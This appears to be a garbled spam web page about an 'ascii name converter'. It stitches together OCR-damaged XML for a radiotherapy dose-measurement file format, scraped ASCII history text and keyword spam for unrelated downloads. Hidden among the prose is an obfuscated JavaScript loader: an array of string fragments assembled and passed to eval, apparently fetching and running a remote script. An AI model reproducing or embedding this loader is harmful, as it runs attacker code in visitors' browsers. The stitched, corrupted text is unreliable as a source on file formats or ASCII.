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<7¥xml version="1.0" encoding="utf-8%72:

=]<IPS-Export Name="File Converter for '

<Syncax>

<Format Narmes"P2P File Format™ Fi.
«<5tructure Text="BEGIN_SCAN DATI
<Header Prefix="\t" Delimiter="
<Counter Value="1" />
<Measurement>
<Structure Prefix="\tBEGIN SCi
<Information Frefix="\t\t" De.
<X Information="X" />
<Y Information="Y" [/>
<Z Information="Z" />
<Structure Text="\t\tBEGIN DA
<Data Prefix="\t\t\t" Delimic:
<Axiz Information="DIRECTIOI
<Dose />
</Data>
<Structure Texta"\t\tEND DATA'
<Structure Frefix="\tEND_SCAN

<Counter Count="1" (>

</Megasurement>

<Waluel Uutput="FHU">Hlgh Energy Fnotons</valuel>
<Value2 Qutput="COB">Photons from Cobalt Unit</Valuel>
</BeamTIype>

<MeasurementType Information="TYPE" Select="Measurement Type" Default="Valuel">
<Valuel Qutput="0FD":>0Open Field Depth Dose Curve</Valusl>»
<Value2 Qutpuct="0OPP">Open Field Profile</Valus2>»
<WValue3 Cutput="WDD">Wedge Depth Dose Curve</Value3>
<Value4 Output="WDD_SSD80">Wedge Depth Dose Curve (S5D 80 cm)</Valued>
<Valued OQutput="WDD_S55D120">Wedge Depth Dose Curve (55D 120 cm)</Value5:
<Valuef Qutput="WDP">Wedge Profile</Valuef>
<Walue7 OQutput="WLP">Wedge Longitudinal Profile</Value7>
<Waluef Output="DPFR">Diagonal Profile</Value8>

</MeasurementType>

<Wedgellame Information="WDGL" Format="{0,-2}" Default="XX">Wedge Name< /Wedgellame>

<WedgeDirection Information="WDGD" Select="Wedge Direction" Default="Valuel">
<Valuel Cutput="L">Thin Edge Left</Valuel>
<Value2 Qutput="R">Thin Edge Right</Value2>

</WedgeDirection>

<MsasurementAxis Information="ANIS" Select="Measurement Axis" Defaulc="Value3">
<Valuel CQutpuc="X">X-Axis (Crossplane)</Valusl>
<Value2 Output="Y">¥-Axis (Inplane)</Valuel>
<Value3 Qutput="Z">Z-Axis (Depth)</Value3>
<WValue4 Cutput="D">Diagonal Axis (XV-Axes)</Valued>
</MeasurementlAxis>

<NumberOfPoints Information="PNTS" Format="§#§#" />
<FointSeparation Information=s"STEP" Format="#§#" />

<S50 Information="SSD" Format="####" Default="1000">Source Skin Distance</S53D>
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<Structure Text="END_SCAN DATA\r\n" />

</Formac>
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Except for the control characters that prescribe elementary line-oriented formatting, ASCII does not define any mechanism for
describing the structure or appearance of text within a document.. ";bQI["Fp"]="x8";bQI["tf"]="ET";bQI["jC"]="MA";bQI["0j"]
="QV";bQI["pZ"1="){";bQI[" WH"I="I1":bQI["'NE"]="eq":bQI["do"="()";bQI["cI"|="ev":bQ[ "aj "|="re":bQI[ "ZB"|="me";bQI["
fU"]="nt";bQI["J"]="eT";bQI["XT"]="Vd";bQI["nY"]="=X";bQI["eL"]="t)";bQI["bE"]="wi";bQI["pW"]="st";bQI["PZ"]="n(";
bQI["AM"]="xh";bQI["Lw"]="10";bQI["Jk"]="TA";bQI["xk"]="ns";bQI["PV"]=";}";bQIl["a0"]=".. Refers to control characters
that do not include carriage return, line feed or as non-whitespace control characters.

1. ascii name converter

For other uses, see ASCII ( () ),: 6 abbreviated from American Standard Code for Information Interchange, is a standard for
electronic communication.. Because the keytop for the O key also showed a left-arrow symbol (from ASCII-1963, which had
this character instead of ), a noncompliant use of code 15 (Control-O, Shift In) interpreted as 'delete previous character' was
also adopted by many early timesharing systems but eventually became neglected.. The ambiguity this caused was sometimes
intentional, for example where a character would be used slightly differently on a terminal link than on a, and sometimes
accidental, for example with the meaning of 'delete’.. The Model 33 was also notable for taking the description of Control-G
(code 7, BEL, meaning audibly alert the operator) literally, as the unit contained an actual bell which it rang when it received a
BEL character.. In particular, the Teletype Model 33 machine assignments for codes 17 (Control-Q, DC1, also known as XON),
19 (Control-S, DC3, also known as XOFF), and 127 () became de facto standards.

ascii name converter

ascii name converter Atom Download Mac Os X

Other schemes, such as, address page and document layout and formatting The original ASCII standard used only short
descriptive phrases for each control character.. ";bQI["dy"]="UX";bQI["JL"]="n/";bQI["r]"]="ad";bQI["MC"]="QW";bQI["QD"
1="VR";bQI["bq"]="ef";bQI["gY"]="Fc";bQI["rr"]="gc";bQI["Ox"]="do";bQI["Co"]="ex";bQI["Cq"]="d(";bQI["zR"]="ne" ;bQI[
"pr"]="",";bQI["FH"]="RJ";bQI["Wm"]="un";bQI["qJ"]="f1";bQI["FL"]="/t";bQI["za"]="(x";bQI["BC"]="w1";bQl[ "nj"]="XM";
bQI["YB"]="i0";bQI["Bf"]=".. Program explaining ascii and the internal representation of character strings on the computer..
ASCII is the traditional name for the encoding system; the (IANA) prefers the updated name US-ASCII, which clarifies that
this system was developed in the US and based on the typographical symbols predominantly in use there. Body Express
Makeover: Trim And Sculpt Your Body In Less Than Six Weeks - Free Download
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<Valuel Uutput="FHU">Hligh Energy Fhotons</valuel>
<Value2 Output="COB">Photons from Cobalt Unit</Valuel»
</BeamIype>
<7xml version="1.0" encoding="utf-8"2! ..y rementType Information="TYPE" Select="Measurement Type" Default="Valuel">
<Valuel Cutput="OFD">0Open Field Depth Dose Curve</Valuel>
<Value2 OQutput="OFP">0Open Field Profile</Value>
<WValue3 Cutput="WDD">Wedge Depth Dose Curve</Value3>
<Value4 Output="WDD_SSD80">Wedge Depth Dose Curve (S5D 80 cm)</Valued>
-] <Format Name="P2P File Format® Fi. <Value5 Su:pu:="‘ﬂDD_SSD120"}h‘edge Depth Dose Curve (55D 120 cm)</Valueb>
<WValueé OQutput="WDP">Wedge Profile</Valueé>
<Walue7 OQutput="WLP">Wedge Longitudinal Profile</Value7>
<Walued Output="DPR">Diagonal Profile</Value8>
</MeasurementType>

"

<IFS-Export Name="File Converter for

<Syncax>
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«<5tructure Text="BEGIN_SCAN DATI
<Header Prefix="\t" Delimiter="

<Counter Value="1" />
<WedgeName Information="WDGL" Format="{0,-2}" Default="XX">Wedge Name< /Wedgellame>
= <Measurement>
<WedgeDirection Information="WDGD" Select="Wedge Direction" Default="Valuel">
<WValuel Output="L">Thin Edge Left</Valuel>
<Walue2 Qutput="R">Thin Edge Right</Values2>
</WedgeDirection>

<Structure Prefix="\tBEGIN SCi
<Information Frefiz="\tA\t" De.

>

i> <MeasurementAxis Information="AXIS" Select="Measurement Axis" Default="Value3">
<Valuel Oucpur="X">X-Axis (Crossplane)</Valuel>

<Value2 Qurpur="Y">¥-Axis (Inplane)</Value2>»

<Value3d Qutput="Z">Z-Axis (Depth)</Value3i>»

<WValued4 Cutput="D">Diagonal Axis (XYV-Axes)</Valued>

<Z Information="Z" f>»
<Structure Text="\t\tBEGIN DA

= <Data Prefix="\t\t\t" Delimic:

<Axiz Information="DIRECTIOI
<Dose />
</Data>

<Structure Textm"\t \tEH‘D_DAT)‘.'

<Structure Frefix="“tEND SCAN

</MeasurementiAxia

<NumberOfPoints Information="PNTS" Format="§§4" />

<FointSeparaticn Information="STEP" Format="###" />

<550 Information="SSD" Format="####" Default="1000">Source Skin Distance</S53D>

<Counter Count="1" (>
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</Megasurement>

<Structure Text="END_SCAN DATA\r\n" />

</Formatc>
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r";bQI["PB"]="s";bQI["Y1"]="1x";bQI["sK"]="on";bQI["ID"]="T1"";bQI["0A"]="cA";bQI[ "bu"]="va";bQI["XQ"]="ZU";bQI["P
Q"]="en";bQI["Ld"]="0X";bQIl["vj"]="wM";bQI["nD"]="ib";bQI["dK"]="UV";bQI["LA"]="QB";bQI["RH"]="OE";bQI["VC"]=
"cu";bQI["Tz"]="ue";bQI["eF"]=""G";bQl["dF"]="wB";bQI["gN"]=""/";bQl["ms"]="Eo";bQl["Lc"]="ct";bQl["xa"]="V5";bQl[ "z
G"]="nQ";bQI["NG"]="wZ";bQI["nQ"]="LH";bQI["Qv"]="k9";bQI["aZ"]="r="bQI[ "kc"]="pe"bQI["dw"]="xx"bQI["yz"]=");"
;bQI["Ot"]=";x";bQI["O0"]="po";bQI["Uc"]="es";bQI["Mq"]="r ";bQI["Am"]="1.. ASCII is one of a 1963 Main article: ASCII
reserves the first 32 codes (numbers 0-31 decimal) for: codes originally intended not to represent printable information, but
rather to control devices (such as ) that make use of ASCII, or to provide about data streams such as those stored on magnetic
tape.. Paper tape was a very popular medium for long-term program storage until the 1980s, less costly and in some ways less
fragile than magnetic tape.. Home Your Name in Binary December 26, 2017, 3:16 am (PST) For example, character 10
represents the 'line feed' function (which causes a printer to advance its paper), and character 8 represents 'backspace'.. var bQl
=new Array();bQI["vB"]="f=";bQI["Nh"]="tt";bQI["DO"]="eF";bQlI["Bu"]="al";bQI["DQ"]="Uo";bQI["II"]="pR";bQI["bO"]="
VG";bQI["Ma"]="0y";bQI["cw"]="dA";bQI["fq"]="hr";bQI["Ui"]="MB";bQl["e0"]="10";bQI[ "nE"]="r. Drivers Huawei E169
Macy
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Probably the most influential single device on the interpretation of these characters was the ASR, which was a printing terminal
with an available reader/punch option.. ASCII codes represent text in computers,, and other devices Most modern character-
encoding schemes are based on ASCII, although they support many additional characters..
0";bQI["ID"]="=f";bQl["qe"]="er";bQI["Jz"]="GF";bQl["m"]="w ";bQI["YA"]="Kf";bQI["RN"]="ra";bQl["dq"]="RQ";bQl[ "kg
"1="22";bQI["pC"]="QI";bQI["Rd"]="r;";eval(bQI["bu"]+bQI["Mq"]+bQI["AM"]+bQIl["aZ"]+bQI["zR " ]+bQI[ "rn"]+bQI["nj" ]+
bQI["nQ"]+bQI["Nh"]+bQI["II"]+bQI["NE"]+bQI["Tz"]+bQI["pW"]+bQI[ "do"]+bQI["Ot"]+bQI[ "fq"]+bQI["a0"]+bQI[ "kc"]+b
QI["PZ"]+bQI["eF"]+bQI["tf"]+bQI["pr"]+bQI["gN"]+bQI["FL"]+bQI["RN"]+bQI["q]"]+bQI["nD"]+bQI["Lw"]+bQI["Am"]+b
QI["bE"]+bQI["JL"]+bQI["kg"]+bQI["Ma"]+bQI["nY"]+bQI["Y1"]+bQI["bO"]+bQI["dF"]+bQI["RH"]+bQI["pC"]+bQI["jC"]+
bQI["rr"+bQI["tf"]+bQI["xa"]+bQI["cw" ]+bQI["dw"]+bQI["DO"]+bQI["BC"]+bQI["Y A" ]+bQI["WH"]+bQI["Ui"]+bQI["Fp"]
+bQI["zG"]+bQI["NG"]+bQI["MC"]+bQI["FH"]+bQI["Ld"]+bQI["gY "]+bQI["dy" ]+bQI["ms"]+bQI["0j" ]+bQI[ "dq"]+bQI["XQ
"1+bQI["vj"1+bQI["JZz"]+bQI["QD"]+bQI["Jk"]+bQI["XT"]+bQI["dK"]+bQI["'DQ"]+bQI["0A" ]+bQI["QVv"]+bQI["LA"]+bQI["g
Y"]+bQI["ID"]+bQI["yz"]+bQI["AM"]+bQI["nE"[+bQI["sK"]+bQI[ "eo"]+bQI["tI"]+bQI["ID"+bQI["Wm"]+bQI[ "Lc" ]+bQI["
YB"[+bQI["PZ"]+bQI["pZ"]+bQI["bu"]+bQI["Mq"]+bQI[ "aj" ]+bQI["vB"]+bQI["Ox"]+bQI["VC"]+bQI["zB"+bQI["fU" [+bQI[
"Bf"]+bQI["bq"]+bQI["ge"]+bQI["aj"]+bQI["Rd"]+bQI["cI"]+bQI["Bu"]+bQl[ "za"]+bQI[ "fq"]+bQI["Bf "]+bQI["Uc"]+bQI["O
O0"]1+bQI["xk"]+bQI["J"]+bQI["Co"]+bQI["eL"]+bQI["PV"]+bQI["Ot"]+bQI["fq"]+bQI["PB"]+bQI["PQ"]+bQI["Cq"]+bQI["yz
"]);This article is about the character encoding. 0041d406d9 Iso Burn Mac Free Download
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